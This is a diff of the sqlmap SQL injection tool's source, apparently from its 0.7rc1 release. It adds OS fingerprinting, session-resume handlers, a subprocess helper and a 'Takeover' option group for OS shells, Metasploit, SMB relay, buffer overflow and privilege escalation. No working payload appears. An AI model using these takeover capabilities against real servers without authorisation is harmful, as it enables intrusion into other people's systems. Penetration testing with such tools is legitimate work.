conf.paramFalseCond = False
conf.paramNegative = False
conf.path = None
conf.port = None
conf.retries = 0
conf.retriesCount = 0
conf.scheme = None
#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
conf.seqMatcher = difflib.SequenceMatcher(None)
conf.sessionFP = None
conf.start = True
conf.threadException = False
conf.wFileType = None
def __setKnowledgeBaseAttributes():
@@ -627,17 +803,31 @@ def __setKnowledgeBaseAttributes():
logger.debug(debugMsg)
kb.absFilePaths = set()
kb.docRoot = None
kb.bannerFp = advancedDict()
kb.data = advancedDict()
# Basic back-end DBMS fingerprint
kb.dbms = None
kb.dbmsDetected = False
kb.dbmsVersion = None
kb.bannerFp = {}
# Active (extensive) back-end DBMS fingerprint
kb.dbmsVersion = []
kb.dep = None
kb.docRoot = None
kb.headersCount = 0
kb.headersFp = {}
kb.htmlFp = []
kb.injParameter = None
kb.injPlace = None
kb.injType = None
# Back-end DBMS underlying operating system fingerprint via banner (-b)
# parsing or when knowing the OS is mandatory (i.g. dealing with DEP)
kb.os = None
kb.osVersion = None
kb.osSP = None
kb.parenthesis = None
kb.resumedQueries = {}
kb.stackedTest = None
@@ -763,7 +953,10 @@ def init(inputOptions=advancedDict()):
__setHTTPProxy()
__setThreads()
__setDBMS()
__setOS()
__setUnionTech()
__setWriteFile()
__setMetasploit()
__setGoogleDorking()
__setMultipleTargets()
__urllib2Opener()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -51,6 +51,7 @@ optDict = {
"Injection": {
"testParameter": "string",
"dbms": "string",
"os": "string",
"prefix": "string",
"postfix": "string",
"string": "string",
@@ -98,10 +99,18 @@ optDict = {
"File system": {
"rFile": "string",
"wFile": "string",
"dFile": "string",
},
"Takeover": {
"osCmd": "string",
"osShell": "boolean",
"osPwn": "boolean",
"osSmb": "boolean",
"osBof": "boolean",
"privEsc": "boolean",
"msfPath": "string",
"tmpPath": "string",
},
"Miscellaneous": {
@@ -110,5 +119,6 @@ optDict = {
"updateAll": "boolean",
"sessionFile": "string",
"batch": "boolean",
"cleanup": "boolean",
},
}

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -31,8 +31,8 @@ boolean and _outputfile variable used in genutils.
import sys
from lib.core.data import logger
from lib.core.settings import PLATFORM
try:
@@ -49,7 +49,7 @@ except ImportError:
except ImportError:
haveReadline = False
if sys.platform == 'win32' and haveReadline:
if 'win' in PLATFORM and haveReadline:
try:
_outputfile=_rl.GetOutputFile()
except AttributeError:
@@ -63,7 +63,7 @@ if sys.platform == 'win32' and haveReadline:
# Thanks to Boyd Waters for this patch.
uses_libedit = False
if sys.platform == 'darwin' and haveReadline:
if PLATFORM == 'darwin' and haveReadline:
import commands
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -27,6 +27,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
from lib.core.common import dataToSessionFile
from lib.core.common import formatFingerprintString
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
@@ -34,6 +35,7 @@ from lib.core.data import logger
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
def setString():
"""
Save string to match in session file.
@@ -62,6 +64,17 @@ def setRegexp():
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
def setMatchRatio():
condition = (
not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Match ratio") )
)
if condition:
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
def setInjection():
"""
Save information retrieved about injection place and parameter in the
@@ -132,6 +145,67 @@ def setDbms(dbms):
logger.info("the back-end DBMS is %s" % kb.dbms)
def setOs():
"""
Example of kb.bannerFp dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
"""
infoMsg = ""
condition = (
not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("OS") )
)
if not kb.bannerFp:
return
if "type" in kb.bannerFp:
kb.os = formatFingerprintString(kb.bannerFp["type"])
infoMsg = "the back-end DBMS operating system is %s" % kb.os
if "distrib" in kb.bannerFp:
kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"])
infoMsg += " %s" % kb.osVersion
if "sp" in kb.bannerFp:
kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", ""))
elif "sp" not in kb.bannerFp and kb.os == "Windows":
kb.osSP = 0
if kb.os and kb.osVersion:
infoMsg += " Service Pack %d" % kb.osSP
if infoMsg:
logger.info(infoMsg)
if condition:
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
def setStacked():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Stacked queries") )
)
if not isinstance(kb.stackedTest, str):
return
if condition:
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
def setUnion(comment=None, count=None, position=None):
"""
@param comment: union comment to save in session file
@@ -172,6 +246,27 @@ def setUnion(comment=None, count=None, position=None):
kb.unionPosition = position
def setRemoteTempPath():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Remote temp path") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
def setDEP():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("DEP") )
)
if condition:
dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep))
def resumeConfKb(expression, url, value):
if expression == "String" and url == conf.url:
string = value[:-1]
@@ -216,6 +311,14 @@ def resumeConfKb(expression, url, value):
if not test or test[0] in ("y", "Y"):
conf.regexp = regexp
elif expression == "Match ratio" and url == conf.url:
matchRatio = value[:-1]
logMsg = "resuming match ratio '%s' from session file" % matchRatio
logger.info(logMsg)
conf.matchRatio = round(float(matchRatio), 3)
elif expression == "Injection point" and url == conf.url:
injPlace = value[:-1]
@@ -278,7 +381,7 @@ def resumeConfKb(expression, url, value):
if dbmsRegExp:
dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [dbmsRegExp.group(2)]
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
if conf.dbms and conf.dbms.lower() != dbms:
message = "you provided '%s' as back-end DBMS, " % conf.dbms
@@ -293,6 +396,34 @@ def resumeConfKb(expression, url, value):
else:
conf.dbms = dbms
elif expression == "OS" and url == conf.url:
os = value[:-1]
logMsg = "resuming back-end DBMS operating system '%s' " % os
logMsg += "from session file"
logger.info(logMsg)
if conf.os and conf.os.lower() != os.lower():
message = "you provided '%s' as back-end DBMS operating " % conf.os
message += "system, but from a past scan information on the "
message += "target URL sqlmap assumes the back-end DBMS "
message += "operating system is %s. " % os
message += "Do you really want to force the back-end DBMS "
message += "OS value? [y/N] "
test = readInput(message, default="N")
if not test or test[0] in ("n", "N"):
conf.os = os
else:
conf.os = os
elif expression == "Stacked queries" and url == conf.url:
kb.stackedTest = value[:-1]
logMsg = "resuming stacked queries syntax "
logMsg += "'%s' from session file" % kb.stackedTest
logger.info(logMsg)
elif expression == "Union comment" and url == conf.url:
kb.unionComment = value[:-1]
@@ -313,3 +444,17 @@ def resumeConfKb(expression, url, value):
logMsg = "resuming union position "
logMsg += "%s from session file" % kb.unionPosition
logger.info(logMsg)
elif expression == "Remote temp path" and url == conf.url:
conf.tmpPath = value[:-1]
logMsg = "resuming remote absolute path of temporary "
logMsg += "files directory '%s' from session file" % conf.tmpPath
logger.info(logMsg)
elif expression == "DEP" and url == conf.url:
kb.dep = value[:-1]
logMsg = "resuming DEP system policy value '%s' " % kb.dep
logMsg += "from session file"
logger.info(logMsg)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -30,13 +30,14 @@ import sys
# sqlmap version and site
VERSION = "0.6.5-rc1"
VERSION = "0.7rc1"
VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net"
# sqlmap logger
logging.addLevelName(9, "TRAFFIC OUT")
logging.addLevelName(8, "TRAFFIC IN")
LOGGER = logging.getLogger("sqlmapLog")
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
@@ -45,33 +46,33 @@ LOGGER_HANDLER.setFormatter(FORMATTER)
LOGGER.addHandler(LOGGER_HANDLER)
LOGGER.setLevel(logging.WARN)
# System variables
PLATFORM = sys.platform.lower()
PYVERSION = sys.version.split()[0]
# Url to update Microsoft SQL Server XML versions file from
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
# Url to update sqlmap from
# Urls to update sqlmap from
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
# Database managemen system specific variables
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
MYSQL_ALIASES = [ "mysql", "my" ]
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
MYSQL_ALIASES = [ "mysql", "my" ]
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
SUPPORTED_OS = ( "linux", "windows" )
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
SUPPORTED_OS = ( "linux", "windows" )
# TODO: port to command line/configuration file options?
SECONDS = 5
RETRIES = 3
SQL_STATEMENTS = {
"SQL SELECT statement": (
SQL_STATEMENTS = {
"SQL SELECT statement": (
"select ",
"show ",
" top ",
@@ -87,29 +88,29 @@ SQL_STATEMENTS = {
" rownum as ",
"(case ", ),
"SQL data definition": (
"SQL data definition": (
"create ",
"declare ",
"drop ",
"truncate ",
"alter ", ),
"SQL data manipulation": (
"SQL data manipulation": (
"insert ",
"update ",
"delete ",
"merge ", ),
"SQL data control": (
"SQL data control": (
"grant ", ),
"SQL data execution": (
"exec ",
"SQL data execution": (
"execute ", ),
"SQL transaction": (
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ", ),
}
}

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -90,13 +90,23 @@ def autoCompletion(sqlShell=False, osShell=False):
if sqlShell:
completer = CompleterNG(queriesForAutoCompletion())
elif osShell:
# TODO: add more operating system commands; differentiate commands
# based on future operating system fingerprint
completer = CompleterNG({
"id": None, "ifconfig": None, "ls": None,
"netstat -natu": None, "pwd": None,
"uname": None, "whoami": None,
})
if kb.os == "Windows":
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
completer = CompleterNG({
"copy": None, "del": None, "dir": None,
"echo": None, "md": None, "mem": None,
"move": None, "net": None, "netstat -na": None,
"ver": None, "xcopy": None, "whoami": None,
})
else:
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
completer = CompleterNG({
"cp": None, "rm": None, "ls": None,
"echo": None, "mkdir": None, "free": None,
"mv": None, "ifconfig": None, "netstat -natu": None,
"pwd": None, "uname": None, "id": None,
})
readline.set_completer(completer.complete)
readline.parse_and_bind("tab: complete")

89
lib/core/subprocessng.py Normal file
View File

@@ -0,0 +1,89 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import fcntl
import errno
import os
import sys
import time
if (sys.hexversion >> 16) >= 0x202:
FCNTL = fcntl
else:
import FCNTL
def blockingReadFromFD(fd):
# Quick twist around original Twisted function
# Blocking read from a non-blocking file descriptor
output = ""
while True:
try:
output += os.read(fd, 8192)
except (OSError, IOError), ioe:
if ioe.args[0] in (errno.EAGAIN, errno.EINTR):
# Uncomment the following line if the process seems to
# take a huge amount of cpu time
# time.sleep(0.01)
continue
else:
raise
break
if not output:
raise EOFError, "fd %s has been closed." % fd
return output
def blockingWriteToFD(fd, data):
# Another quick twist
while True:
try:
data_length = len(data)
wrote_data = os.write(fd, data)
except (OSError, IOError), io:
if io.errno in (errno.EAGAIN, errno.EINTR):
continue
else:
raise
if wrote_data < data_length:
blockingWriteToFD(fd, data[wrote_data:])
break
def setNonBlocking(fd):
"""
Make a file descriptor non-blocking
"""
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free